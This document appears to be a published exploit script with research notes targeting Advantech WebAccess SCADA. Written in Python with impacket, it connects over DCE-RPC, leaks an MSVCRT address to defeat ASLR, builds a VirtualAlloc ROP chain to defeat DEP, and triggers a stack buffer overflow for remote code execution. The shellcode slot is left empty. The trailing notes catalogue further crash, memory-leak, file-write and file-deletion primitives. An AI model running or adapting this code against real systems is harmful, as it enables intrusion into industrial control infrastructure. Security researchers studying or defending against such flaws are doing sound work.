Adventech WebAccess SCADA
Exploit by DS
RCE SEH Stack Buffer Overflow (ASLR/DEP) (ASLR bypassed via an address leak of MSVCRT.dll) Both vulnerabilities occur in drawsrv.dll which is called for opcodes 10000-10999 Buffer overflow occurs at opcode 10126 and address leak occurs at opcode 10105
import sys, struct, time
from impacket import uuid
from impacket.dcerpc.v5 import transport
def htonl_shift(x):
#https://stackoverflow.com/questions/36096292/efficient-way-to-swap-bytes-in-python
return (((x << 24) & 0xFF000000) |
((x << 8) & 0x00FF0000) |
((x >> 8) & 0x0000FF00) |
((x >> 24) & 0x000000FF))
def send_packet(opcode, buf) :
def call(dce, opcode, stubdata):
dce.call(opcode, stubdata)
res = -1
try:
res = dce.recv()
print(res)
except Exception as e:
print("Exception encountered..." + str(e))
sys.exit(1)
return res
if len(sys.argv) != 2:
print("Provide only host arg")
sys.exit(1)
port = 4592
interface = "5d2b62aa-ee0a-4a95-91ae-b064fdb471fc"
version = "1.0"
host = sys.argv[1]
string_binding = "ncacn_ip_tcp:%s" % host
trans = transport.DCERPCTransportFactory(string_binding)
trans.set_dport(port)
print("Connecting to the target")
dce = trans.get_dce_rpc()
dce.connect()
iid = uuid.uuidtup_to_bin((interface, version))
dce.bind(iid)
print("Getting a handle to the RPC server")
stubdata = struct.pack("<I", 0x02) #4046fb checks this value (version)
res = call(dce, 4, stubdata)
if res == -1:
print("Something went wrong")
sys.exit(1)
res = struct.unpack("III", res)
print(res)
if (len(res) < 3):
print("Received unexpected length value")
sys.exit(1)
print("Sending payload")
#stubdata = struct.pack("<IIII", res[2], opcode, 0x41414141, 0x222)
stubdata = struct.pack("<IIII", res[2], opcode, 0x41414141, 0x1)
#buf = struct.pack("<L", 0x00000001) + buf
stubdata += buf
res = call(dce, 1, stubdata)
dce.disconnect()
return res
def leak_MSVCRT():
#any exisiting file should work
buf = b"C:\\test.txt" + b"\x00"
buf += bytearray([0x41]*(30-len(buf)))
buf += bytearray([0x41]*(248-0x12))
#r
buf += struct.pack("<L", 0x00000072)
buf += bytearray([0x41]*16)
#sh_NODENY
buf += struct.pack("<L", 0x00000040)
opcode = 10105
res = send_packet(opcode, buf)
addr = htonl_shift(int(res.hex(),base=16))
#~0xb5660 offset to base of module give or take rounding...
base = (addr - 0xb5660) & 0xFFFFFF00
print(f"MSVCRT module base at: {hex(base)}")
return base
def writeFile():
buf = b"$kernel.bak" + b"\x00"
buf += bytearray([0x42]*(260-len(buf)))
buf += b"$kernel.bak" + b"\x00"
opcode = 10041
send_packet(opcode, buf)
def overflow_10126(rop, payload):
#eip offset 379
buf = bytearray([0x41]*(379))
buf += rop
buf += payload
buf += bytearray([0x41]*(1319 - len(buf)))
opcode = 10126
send_packet(opcode, buf)
def buildRop(base):
'''
OLD
pushad
Temp ← (ESP); dummy dwSize 0x45454545
Push(EAX); junk
Push(ECX); junk 0x55555555
Push(EDX); flProtect 0x44444444
Push(EBX); flAllocationType 0x43434343
Push(Temp);
Push(EBP); Shellcode Return Address
Push(ESI); Shellcode Return Address 0x42424242
Push(EDI); VirutalAlloc Address 0x41414141
NEW
pushad
Temp ← (ESP); Shellcode Return Address
Push(EAX); dwSize 0x45454545
Push(ECX); flProtect 0x44444444
Push(EDX); flAllocationType 0x43434343
Push(EBX); Shellcode Return Address
Push(Temp); Shellcode Return Address
Push(EBP); VirutalAlloc Address 0x42424242
Push(ESI); rop nop
Push(EDI); rop nop
fuzzysec
# EAX 90909090 => Nop #
# ECX 00000040 => flProtect 0x40 #
# EDX 00001000 => flAllocationType 0x00001000 #
# EBX 00000001 => dwSize 0x01 - 0x1000 #
# ESP ???????? => Leave as is #
# EBP ???????? => Call to ESP (jmp, call, push,..) #
# ESI ???????? => PTR to VirtualAlloc - DWORD PTR of 0x1005d060 #
# EDI 10019C60 => ROP-Nop same as EIP
'''
virtualAllocIAT = base + 0x000b91b8
pushAD = base + 0x2859
popEAX = base + 0x3BBF2 #0x1013bbf2 # pop eax; ret; :: msvcrt.dll
popECX = base + 0xc14d #0x1010c14d # pop ecx; ret; :: msvcrt.dll
popEDI = base + 0x3b6a7
popESI = base + 0x3cfe7
popEBP = base + 0x30904
popEBX = base + 0x3d85e
popEDX = base + 0x947C4 #0x101947c4 # pop edx; ret; :: msvcrt.dll
ropNOP = base + 0x3D85F
derefEAX_popESI_popEBP = base + 0x7525c #0x1017525c # mov eax, dword ptr [eax]; pop esi; pop ebp; ret;
junk = 0x41414141
movECX = base + 0x65DEB #0x10165deb # pop ecx; mov ecx, eax; mov eax, ecx; pop ebp; ret
movESI_EDX = base + 0x48E61 #0x10148e61 # mov esi, edx; add [eax], eax; pop ecx; ret
movEDX_EAX = base + 0x58b54 #0x10158b54 # mov edx, eax; mov eax, ecx; pop ebp; ret;
xchgEAX_EBP = base + 0x3385c #0x1013385c # xchg eax, ebp; ret;
xchgEAX_EDI = base + 0x7e22 #0x10107e22 # xchg eax, edi; ret; :: msvcrt.dll
pushESP = base + 0x98928 #0x10198928 # push esp; ret; :: msvcrt.dll
decEBX = base + 0x8fcd #0x10108fcd # dec ebx; ret; :: msvcrt.dll
negEDX_popEBX = base + 0xa90da #0x101a90da # neg edx; neg eax; sbb edx, 0; pop ebx; ret 0x10;
incEBX = base + 0x9a2f3 #0x1019a2f3 # inc ebx; fpatan; ret
addECX_20 = base + 0x33bc9 #0x10133bc9 # add ecx, 0x20; mov eax, ecx; pop ebp; ret;
incECX = base + 0x10778 #0x10110778 # inc ecx; ret; :: msvcrt.dll
def pack(x): return struct.pack("<L", x)
#dereference the IAT into EAX
#DEBUG
print(hex(ropNOP))
print(f"Redirecting execution to {hex(derefEAX_popESI_popEBP)}")
print(f"PushAD: {hex(pushAD)}")
print(f"Neg EDX: {hex(negEDX_popEBX)}")
rop = pack(xchgEAX_EBP)
rop += pack(xchgEAX_EDI)
rop += pack(popEAX)
rop += pack(virtualAllocIAT)
rop += pack(derefEAX_popESI_popEBP)
rop += pack(junk)
rop += pack(junk)
rop += pack(popECX)
rop += pack(base+0xbfc0f) #hopefully will work as a valid address to add to...
rop += pack(movEDX_EAX)
rop += pack(junk)
#move virtualAlloc addr into ESI
rop += pack(xchgEAX_EDI)
rop += pack(movESI_EDX)
rop += pack(junk)
rop += pack(popEDI)
rop += pack(ropNOP)
rop += pack(popEDX)
rop += pack(0xffffefff)
rop += pack(negEDX_popEBX) #ret 0x10 + pop ebx
rop += pack(0xffffffff)
rop += pack(incEBX)
rop += pack(junk)
rop += pack(junk)
rop += pack(junk)
rop += pack(junk)
rop += pack(incEBX)
rop += pack(popECX)
rop += pack(0xffffffff)
rop+= pack(incECX)
rop += pack(addECX_20)
rop += pack(junk)
rop += pack(addECX_20)
rop += pack(pushESP)
rop += pack(popEAX)
rop += pack(0x90909090)
rop += pack(pushAD)
return rop
#SHELLCODE
payload = b""
base = leak_MSVCRT()
rop = buildRop(base)
input('Press enter to execute...')
overflow_10126(rop, payload)
'''
notes:
Can control write to a file called $kernel.bak in current dir via starting the buffer with:
buf = bytearray([0x41]*0x1000)
buf = struct.pack("<L", 0x00000001) + buf
With opcode 50010
Op 50004 results in a crash during strcpy
op 50002 results in a stack leak via injecting %x format chars
op 10019, 10100 resulted in full crashes
op 10126, 10128 SO with SEH and ret overwrite
op 10311 printed out a series of null bytes
REVIEW:
#fwrite / sprintf
op 10301 prints out the buf as a response
#could this be repurposed for reading output from a write? fread
op 10126, 10128 SO with SEH and ret overwrite
TODO:
op 10250 sprintf #crashes after call & never reached sprintf
op 10040
offset 260 = filename
Can delete files via an invalid buffer
can write buffer to file but no pointer leaks
10041 fwrite
op 10109
op 10128 fread .config
op 10108 fread
tries to deref and write into dw at buf[0]
op 10300 fread
op 10105 fread .config
returns something that looks like a pointer into MSVCRT
ret MSVCRT webvrpcs drawsrv
77715660 77660000 005a0000 00580000
75795660 756e0000 00400000 00740000
758f5660 75840000 00400000 00580000
753a5660 752f0000 00450000 00460000
always offset b5660 from start of MSVCRT
ret MSVCRT MSASNI win32u
753a5660 752f0000 75860000 76a20000
76155660 760a0000 775a0000 77500000
op 10250 sprintf
op 10300 sprintf
'''
Last updated
Was this helpful?